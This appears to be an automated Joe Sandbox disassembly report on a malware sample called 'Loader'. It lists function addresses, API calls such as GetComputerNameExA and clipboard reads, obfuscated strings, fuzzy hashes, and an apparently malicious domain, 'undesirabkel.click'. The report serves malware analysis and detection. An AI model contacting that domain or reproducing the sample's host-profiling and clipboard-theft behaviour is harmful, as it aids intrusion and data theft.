Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C3E5
GetComputerNameExA.KERNELBASE(00000006,-!B,00000100), ref: 0042C4AD

Strings

-!B, xrefs: 0042C45E
tidc, xrefs: 0042C40B

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: -!B$tidc
API String ID: 2904949787-476040656
Opcode ID: 162db42e1e998b1f12c2b9f51427277601aaff401d5d9aca3582506ac13c7d85
Instruction ID: 36f598f07a78be95229329e16d831615469c789e38aad443987067daf5129e6e
Opcode Fuzzy Hash: 162db42e1e998b1f12c2b9f51427277601aaff401d5d9aca3582506ac13c7d85
Instruction Fuzzy Hash: 331136756083908BD720CF35E8407ABBBE6ABD6304F84846ED0C8C7261DF398405C706

Function 0040C5B6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C5BA
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C6FF

Strings

E)ov, xrefs: 0040C70B

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: Initialize
String ID: E)ov
API String ID: 2538663250-3776031005
Opcode ID: e7a95b8e5ff17603cc907fcbc2df53191815e2a062ed42e83665db1e0f35c6a2
Instruction ID: 7eb1427ce90a185cc1fa67b5dec7511066f0963e0e52bfde8587bb9a189e8e04
Opcode Fuzzy Hash: e7a95b8e5ff17603cc907fcbc2df53191815e2a062ed42e83665db1e0f35c6a2
Instruction Fuzzy Hash: 6941C8B4C10B40AFD370EF39990B7137EB4AB06250F504B1DF9EA866D4E631A4198BD7

Function 0042C332 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,-!B,00000100), ref: 0042C4AD

Strings

-!B, xrefs: 0042C45E
tidc, xrefs: 0042C40B

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID: -!B$tidc
API String ID: 3545744682-476040656
Opcode ID: 61886e391caa53043cf8b7eeebbfdde2549436c7387b1184654fa6bc82ce0717
Instruction ID: cb59f9437d4d6314ce5892b09104ceaf55f68d0d243f063b9a53ef71cd653c73
Opcode Fuzzy Hash: 61886e391caa53043cf8b7eeebbfdde2549436c7387b1184654fa6bc82ce0717
Instruction Fuzzy Hash: BA11037561C390CBD721CF35D8907EBB7E6ABDA304F94886EC0C8C7255EE7985068716

Function 0042C4DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042C594

Strings

/CWl, xrefs: 0042C545
m, xrefs: 0042C52F

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID: /CWl$m
API String ID: 3545744682-3646203745
Opcode ID: 7a167722f522b369fb5a67656a2b11fc2d91befdf65f4b5365c50abbd1630efa
Instruction ID: 03530a0ce53fbf409c5d07d4627929f5f9734d687145533c51ec677908ed519b
Opcode Fuzzy Hash: 7a167722f522b369fb5a67656a2b11fc2d91befdf65f4b5365c50abbd1630efa
Instruction Fuzzy Hash: 19119D3010C7E19ADB319B3894687FBBBE4AF97300F5809ADC0CDC7292D77894458B96

Function 0042C4D1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042C594

Strings

/CWl, xrefs: 0042C545
m, xrefs: 0042C52F

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ComputerName
String ID: /CWl$m
API String ID: 3545744682-3646203745
Opcode ID: 949d0f20e82d11914490ce482742be9fe114ad8304adfa35962e6676036ca1e9
Instruction ID: e0895b3182d1dc6c25a11d8008f41e73b737397a8b3a12be8f13edf20661ff36
Opcode Fuzzy Hash: 949d0f20e82d11914490ce482742be9fe114ad8304adfa35962e6676036ca1e9
Instruction Fuzzy Hash: 1201807010C7E18BDB319B34A8687FBB7E4AB96310F28096DC0CDC7291D77494459B56

Function 00437426 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 0043744B

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 7c68332186bb1eccb24706d0910e4fa35c8b03fbb3c5cb4de671a5428ebb180b
Instruction ID: 927bd0fc9cd42a9714e357c3c949b392570058f034d69ee935772a38c2154aa8
Opcode Fuzzy Hash: 7c68332186bb1eccb24706d0910e4fa35c8b03fbb3c5cb4de671a5428ebb180b
Instruction Fuzzy Hash: 6B113A75A087A24FC7018F3C8D84259BF616B4A610F18C3ECD594573D6CB38A816C7D1

Function 0043ECE8 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043ED37

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a5036223926f76e7a30bb82d8b41372fba638fb8ce1a419d4bb5bda1a50e89be
Instruction ID: c78e23977c3e2a35fed25d62a8fd294347c45f883251edd20cfe32e08262873d
Opcode Fuzzy Hash: a5036223926f76e7a30bb82d8b41372fba638fb8ce1a419d4bb5bda1a50e89be
Instruction Fuzzy Hash: AFF0E2B09445D48BDB00CF7AAC593AA37A0EB56305F241975E112D72A1EB3898528B0D

Function 0043EB40 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B2E9,?,00000001), ref: 0043EB72

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cfbf4a6718c87aec0984e55126ec68d7d5da04f3355e97993dcb15881ca12bd3
Instruction ID: f8d085a32fc5b2999584d7c69e937369889b9cf04708eea92d38761de7c40dc4
Opcode Fuzzy Hash: cfbf4a6718c87aec0984e55126ec68d7d5da04f3355e97993dcb15881ca12bd3
Instruction Fuzzy Hash: FDE02B72905210EBD301AF357C06F177A64AFCA715F050C36F505E2152D638F81196AF

Function 00431FE2 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432028

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 0601404d5c011c4097f442398f72a59a3fcd5b637d74b6bd99cb2993c6c4fcc6
Instruction ID: f5617d7eab011253af39c7223b5d4b47f89a1495823ff6e5c490b642b0bf52d7
Opcode Fuzzy Hash: 0601404d5c011c4097f442398f72a59a3fcd5b637d74b6bd99cb2993c6c4fcc6
Instruction Fuzzy Hash: 94F067B4508701CFD714DF29D5A871BBBF0FB84304F11891DE4999B290C7B9A958CF82

Function 00430412 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00430457

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 0b4ce9226a80c191448de904934235e090dea553ac8c548883bf7eee67a76e56
Instruction ID: edea177d1479d643d5abc38f34b971a966137ca73a35f0b7da0467f95eeb9627
Opcode Fuzzy Hash: 0b4ce9226a80c191448de904934235e090dea553ac8c548883bf7eee67a76e56
Instruction Fuzzy Hash: 61F098B450A7018FE354DF28D4A8B1BBBF0FB85314F10891CE5A98B390CBB59948CF86

Function 0040C73B Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C74D

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 4a533f3d69b86a9f98a1958157cd7cacc4402abbb5c7b231e86568349e28ee20
Instruction ID: d2d1222bed764c505e01a7a437c987e67b96d2d96dffea12848baf7fbc3a0441
Opcode Fuzzy Hash: 4a533f3d69b86a9f98a1958157cd7cacc4402abbb5c7b231e86568349e28ee20
Instruction Fuzzy Hash: 20E0ECB57A430067FAAC6B14DD22F2521555783B20F35422CA612BD6E4C9942502461C

Function 0043ED29 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043ED37

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a9ffe737249dc3e0122e0f7b10e8a54413ea6789124a50639fd91797d931d788
Instruction ID: e9d83bbf03ffa0495804572a0f9332504b97f5da304552063f637eff08c1ad84
Opcode Fuzzy Hash: a9ffe737249dc3e0122e0f7b10e8a54413ea6789124a50639fd91797d931d788
Instruction Fuzzy Hash: 06E012F9D401548FCB04DF64FC955243374FB562057144439E112C3271D735E522CB59

Function 0043CAF2 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 0043CB0B

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 5a61d3da357a9b9377e023cb1afacc8d5594f4b24d9fa0354fd77178c021c893
Instruction ID: 1226c4ec29f38b57e24691680627c35296be4bb29b2a26d95288c068be923f2f
Opcode Fuzzy Hash: 5a61d3da357a9b9377e023cb1afacc8d5594f4b24d9fa0354fd77178c021c893
Instruction Fuzzy Hash: BAC08C70141122EBD3102F15BC0BB963A10AF01312F0208B2B0006D0B2CA78ECB0C6C8

Function 0043CAC0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,B19801D9,004086F7,B4B7D921), ref: 0043CAD0

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fc5eda2e49f68f0e30b130f1320f09b628e5b9bd0ed49f4e6fdc7f947bd58373
Instruction ID: 562293d3e3569241bb9a478438e2c4c3206b523b80c2934943ed8cc9fbbd0605
Opcode Fuzzy Hash: fc5eda2e49f68f0e30b130f1320f09b628e5b9bd0ed49f4e6fdc7f947bd58373
Instruction Fuzzy Hash: 76C04C71445121AAD6102B15EC09B867F54AF45751F014095B104660B286B0EC928AD8

Non-executed Functions

Function 00419C90 Relevance: 18.8, APIs: 2, Strings: 8, Instructions: 1349COMMON

Download Yara Rule

APIs

Part of subcall function 0043EBA0: LdrInitializeThunk.NTDLL(00441BF8,?,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043EBCE

FreeLibrary.KERNEL32(?), ref: 0041A269
FreeLibrary.KERNEL32(?), ref: 0041A2DE

Strings

54+*, xrefs: 0041AA2B
54+*, xrefs: 00419CC5
8U:W, xrefs: 00419FEE
~Q6S, xrefs: 00419FE6
8I#K, xrefs: 00419FD6
2E'G, xrefs: 00419FCE
54+*, xrefs: 0041A185
XY, xrefs: 00419FF6

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: 2E'G$54+*$54+*$54+*$8I#K$8U:W$XY$~Q6S
API String ID: 764372645-2390782495
Opcode ID: 0f80e1662aea17d897eb7f5cc82f5f76a7864b0803524b2c06bda07c8fcedbb3
Instruction ID: 2c3f929d4cabc55a225c70deac7f21d0ad3b9eba4449c3fe9de0e78d4448d8f9
Opcode Fuzzy Hash: 0f80e1662aea17d897eb7f5cc82f5f76a7864b0803524b2c06bda07c8fcedbb3
Instruction Fuzzy Hash: 3982067460A3409FD714CB24D990BABBBE2EBC6314F18882DE58587352D779DC92CB4B

Function 00422E3F Relevance: 11.2, Strings: 8, Instructions: 1220COMMON

Download Yara Rule

Strings

H, xrefs: 00422FF4
%: !, xrefs: 00422F7F
undesirabkel.click, xrefs: 00423299
x}}s, xrefs: 00422F17
de, xrefs: 00423253
"=B, xrefs: 00423D12
4, xrefs: 00423032
%! 0, xrefs: 00422F87

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "=B$%! 0$%: !$4$H$de$undesirabkel.click$x}}s
API String ID: 0-1692695705
Opcode ID: 19c0ccc2f21457345f6c989c8bd1b427ac2a30c96d4d5a23cba524a46654f40a
Instruction ID: 2d009fd93e7b9374216b3497db79d8202485ae03d753f23917b742f1bf9f436d
Opcode Fuzzy Hash: 19c0ccc2f21457345f6c989c8bd1b427ac2a30c96d4d5a23cba524a46654f40a
Instruction Fuzzy Hash: 41821F75708311CFD324CF28E89176BB7E2EB8A311F59897CE59187391D738A906CB86

Function 00417E1A Relevance: 9.7, APIs: 1, Strings: 4, Instructions: 937COMMON

Download Yara Rule

Strings

A, xrefs: 00417BBC
54+*, xrefs: 00417FC5
S<.+, xrefs: 00417C0D, 00417C3A
\xy>, xrefs: 00418912

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 54+*$A$S<.+$\xy>
API String ID: 0-3685461857
Opcode ID: 38d5dddfc1d7d73f8303f266aa0984ee0180c9c2ce3074419444b47f20e9dfdf
Instruction ID: b9dae982806908fc93e9902a33def771db61ac40b6c91c0664327fad2570cd92
Opcode Fuzzy Hash: 38d5dddfc1d7d73f8303f266aa0984ee0180c9c2ce3074419444b47f20e9dfdf
Instruction Fuzzy Hash: 115212726183418BC725CF28C8A17ABB7E2FFD6314F18496EE4C58B391DB399846C746

Function 00433600 Relevance: 9.1, APIs: 6, Instructions: 130clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433622
GetClipboardData.USER32 ref: 00433643
CloseClipboard.USER32 ref: 00433788

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: 9ace8d3d66c656d27122584beaa275d741043033d7610bd44cbfd8939ce7624b
Instruction ID: 5078fe84b0e2f8b0d482d572d4820ca8f51d2eda85a3955b293059345ad65239
Opcode Fuzzy Hash: 9ace8d3d66c656d27122584beaa275d741043033d7610bd44cbfd8939ce7624b
Instruction Fuzzy Hash: 9B41D4F480C7819FD700AF78D14A36ABFE0AB16345F04853ED48587641D37DA659C797

Function 00428770 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 291COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00428850
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 004288B5

Strings

A%g', xrefs: 004287AE
efg, xrefs: 004289AF
_\efg, xrefs: 00428A38

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: A%g'$_\efg$efg
API String ID: 237503144-2372333709
Opcode ID: a7a1f39499a5e99c848ff68f033dae6045633c5ac20e702f25ecc2a0062ac25d
Instruction ID: ccad30b6dcc476866ed8e691afcd1205d7334b7ec1782e1d821448a32adf35b5
Opcode Fuzzy Hash: a7a1f39499a5e99c848ff68f033dae6045633c5ac20e702f25ecc2a0062ac25d
Instruction Fuzzy Hash: 41A1ACB2E002688FEB148FA8DC917DEBBB1FB45304F5145B9D91AAB281DB3059468F94

Function 0041780D Relevance: 7.9, Strings: 6, Instructions: 427COMMON

Download Yara Rule

Strings

A, xrefs: 00417BBC
$w=q, xrefs: 004178AF
S<.+, xrefs: 00417C0D, 00417C3A
1c;m, xrefs: 0041788E
o4i, xrefs: 00417899
5k5u, xrefs: 004178A4

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: o4i$$w=q$1c;m$5k5u$A$S<.+
API String ID: 0-1763114429
Opcode ID: da2264087117273adc8f8cbb7abf3b3369941c733713fa4ddd61a4a78f3232fe
Instruction ID: afb31bd0c27c82544a17a6576629b60a2b4a96c899e5dad63360a4cbb890e339
Opcode Fuzzy Hash: da2264087117273adc8f8cbb7abf3b3369941c733713fa4ddd61a4a78f3232fe
Instruction Fuzzy Hash: D4D1ADB55093808BD7348F29C4A17EBB7E1EFD6314F05896ED4CA8B351EB785901CB86

Function 0040A770 Relevance: 7.9, Strings: 6, Instructions: 400COMMON

Download Yara Rule

Strings

%751, xrefs: 0040A789
./, xrefs: 0040A93D
4=/U, xrefs: 0040A7DA
E]Qw, xrefs: 0040AB35
j^h, xrefs: 0040A890
wNoL, xrefs: 0040A848

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: %751$./$4=/U$E]Qw$wNoL$j^h
API String ID: 0-997366216
Opcode ID: 9ad3b405c217e9d1e4c0f6edf70f746ac05b5820c8d0e78aa04361182b97f1d7
Instruction ID: 7a5dc0394ecbf34ac9b8307d7efc7bae40aec903ea1c7f0c69f60aa070f276f3
Opcode Fuzzy Hash: 9ad3b405c217e9d1e4c0f6edf70f746ac05b5820c8d0e78aa04361182b97f1d7
Instruction Fuzzy Hash: 12C19B7564C3444BD324EF6488502ABFBE39FC1304F19883DE4D5AB382D6B9C9168B8B

Function 00426190 Relevance: 6.5, Strings: 5, Instructions: 244COMMON

Download Yara Rule

Strings

HR, xrefs: 004262B4
@C, xrefs: 004262A4
pO, xrefs: 004262AC
*+, xrefs: 00426411
)L, xrefs: 0042629C

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: )L$*+$@C$HR$pO
API String ID: 0-3083683625
Opcode ID: 0aaee39fcba311e15bc1f38c0aae4a491dfa01ec6e052e56f652e43bf11aa76a
Instruction ID: 5fe24d867cb9075332fe1ade04ad22fabc6e99e6679ddeed31bd91dff5edfe56
Opcode Fuzzy Hash: 0aaee39fcba311e15bc1f38c0aae4a491dfa01ec6e052e56f652e43bf11aa76a
Instruction Fuzzy Hash: 637134B06493518BD310DF25E89166BBBF1EFD2360F58891DE4C18B391E7789505CB8B

Function 00418DE6 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 461COMMON

Download Yara Rule

Strings

-, xrefs: 00418E0A

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 6310d2c406e9cc477afe31215b7d1a469a2c990294c66a01fa1cb42ab7ab9bad
Instruction ID: 2db9ac68f453c0b2d94bf9f393f819a8b1a8f76bd3cef0c41518664d486a93b6
Opcode Fuzzy Hash: 6310d2c406e9cc477afe31215b7d1a469a2c990294c66a01fa1cb42ab7ab9bad
Instruction Fuzzy Hash: B0F114766183529BD714CF29C8906ABB7E2EFC9310F08896DE8C587391EB38DD45C752

Function 00415F19 Relevance: 5.3, Strings: 4, Instructions: 336COMMON

Download Yara Rule

Strings

7, xrefs: 00416177
:_A, xrefs: 00415F34
gfff, xrefs: 0041621C
54+*, xrefs: 004162E5

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 54+*$7$:_A$gfff
API String ID: 0-323440868
Opcode ID: ef99c69aae7ebca8759eae803294edf467de6f070c2877fa02e645cc48d7660a
Instruction ID: 974855a4ab02da3001828df224cdb3c791939bff7d675949acd43d199703548e
Opcode Fuzzy Hash: ef99c69aae7ebca8759eae803294edf467de6f070c2877fa02e645cc48d7660a
Instruction Fuzzy Hash: 5EB13972A142118BD328CF38CC527EBBAD6EBC5314F0A867DD885DB395DB78980687C5

Function 00426EB0 Relevance: 5.3, Strings: 4, Instructions: 281COMMON

Download Yara Rule

Strings

1>, xrefs: 00427687
*+, xrefs: 00427798
bxB, xrefs: 00427855
OI, xrefs: 004277B0

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: *+$1>$bxB$OI
API String ID: 0-1035774624
Opcode ID: b638a3a3900de88040439206c35891a4249c7e51ff3c4424b8b62b3d3637280b
Instruction ID: 2bcf0024169a31bcf5d17f9542290146e57be21ae5465408edeec82165f3d5e6
Opcode Fuzzy Hash: b638a3a3900de88040439206c35891a4249c7e51ff3c4424b8b62b3d3637280b
Instruction Fuzzy Hash: 3791ECB46083808FD734DF24E852BAFB7A1FB82314F44492DE5898B241DB789946CB5B

Function 00416790 Relevance: 5.2, Strings: 4, Instructions: 248COMMON

Download Yara Rule

Strings

54+*, xrefs: 004167B5
54+*, xrefs: 00416A2F, 004169AF
54+*, xrefs: 004168C5
MnA, xrefs: 00416A4D

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: 54+*$54+*$54+*$MnA
API String ID: 2994545307-957495038
Opcode ID: 8f06322f8e6d6c7ea759cd23599a080b87f48ffbe2650b3fb3614bfedb925110
Instruction ID: dd597300f9b4ef6573e6ef65d23cc5c487566c46e2a7da0a635b7d7db396d5cc
Opcode Fuzzy Hash: 8f06322f8e6d6c7ea759cd23599a080b87f48ffbe2650b3fb3614bfedb925110
Instruction Fuzzy Hash: E261E97461D3808FD315CB3888907EBBBE5EB8A350F25896ED1D1C72A1D738D885CB5A

Function 0041E7A0 Relevance: 4.7, Strings: 3, Instructions: 938COMMON

Download Yara Rule

Strings

2"\\, xrefs: 0041EE22
v, xrefs: 0041E98E
!&& , xrefs: 0041EE1A

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !&& $2"\\$v
API String ID: 0-66690623
Opcode ID: 4dfb5fb78e8a455e5ad835274cf3511fda185d48fb834496ef83a700337ad192
Instruction ID: e9b17d7d6cb25fd7e8af81ca0dca0c33645f5d3503e302bb4264f03f34b07c3b
Opcode Fuzzy Hash: 4dfb5fb78e8a455e5ad835274cf3511fda185d48fb834496ef83a700337ad192
Instruction Fuzzy Hash: 62527B7450C3818FC725CF25C8506AFBFE1AF96314F088A6EE8D54B392D7398946CB56

Function 0043A120 Relevance: 4.2, Strings: 3, Instructions: 478COMMON

Download Yara Rule

Strings

54+*, xrefs: 0043A188
54+*, xrefs: 0043A347
54+*, xrefs: 0043A600, 0043A308

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: 54+*$54+*$54+*
API String ID: 2994545307-26850336
Opcode ID: a67e97fda4feb9dd47d5dd4a0776e3bc287d4b57f4707a9353eb73cb6bf7ee0f
Instruction ID: d7f07654b581cdb91e5346d4e79727cc379c0b8875721e9d15300a6a5d61dc92
Opcode Fuzzy Hash: a67e97fda4feb9dd47d5dd4a0776e3bc287d4b57f4707a9353eb73cb6bf7ee0f
Instruction Fuzzy Hash: 0FD177357883009FDB14CB25C882A7BB7A2EBC9354F18A52EE5C557391C778EC06878B

Function 0042D306 Relevance: 4.0, Strings: 3, Instructions: 249COMMON

Download Yara Rule

Strings

F]EH, xrefs: 0042D67F
[:, xrefs: 0042D762
Uo#_, xrefs: 0042D752

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: F]EH$Uo#_$[:
API String ID: 0-1241761701
Opcode ID: d3126adfd973d3248ca04cd93e27acaf3fc7bc708df34f2fc2eacb6372e1e1a0
Instruction ID: b3be92acc381a827a91cc0f17c6e37e2be9106d66737dd4d561d2fb3aa3361bd
Opcode Fuzzy Hash: d3126adfd973d3248ca04cd93e27acaf3fc7bc708df34f2fc2eacb6372e1e1a0
Instruction Fuzzy Hash: 3C7158B4A083A19BD3198B3994A033BBBE09F97305F58856EF4D68B381D67D8C04C756

Function 0042D4D0 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

F]EH, xrefs: 0042D67F
[:, xrefs: 0042D762
Uo#_, xrefs: 0042D752

Memory Dump Source

Source File: 00000003.00000002.1903841874.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: F]EH$Uo#_$[:
API String ID: 0-1241761701
Opcode ID: 36fd720ed8d6823c32771bfe1625822d316a9a8a9853b2f702ca3dab545584eb
Instruction ID: 2ffdbc668ff94129819068ea1ed793c8dcaee62cf96c99cff00229467904dbcf
